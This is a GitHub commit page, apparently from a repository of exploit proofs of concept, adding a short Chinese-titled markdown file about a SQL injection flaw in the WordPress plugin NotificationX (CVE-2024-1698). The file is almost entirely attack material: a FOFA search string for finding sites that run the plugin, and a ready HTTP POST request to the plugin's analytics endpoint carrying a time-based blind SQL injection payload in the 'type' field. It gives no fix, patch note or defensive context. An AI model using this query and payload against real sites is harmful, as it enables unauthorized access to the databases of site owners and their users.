Update and rename WordPress插件NotificationX存在sql注入漏洞(CVE-2024-25832).md to WordPress插件NotificationX存在sql注入漏洞(CVE-2024-1698).md

This commit is contained in:
wy876
2024-05-01 11:54:05 +08:00
committed by GitHub
parent b4c62e60d6
commit 97ee8448c6

View File

@@ -0,0 +1,15 @@
## WordPress插件NotificationX存在sql注入漏洞(CVE-2024-1698)
## fofa
```
body="/wp-content/plugins/notificationx"
```
## poc
```
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host:
Content-Type: application/json
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
```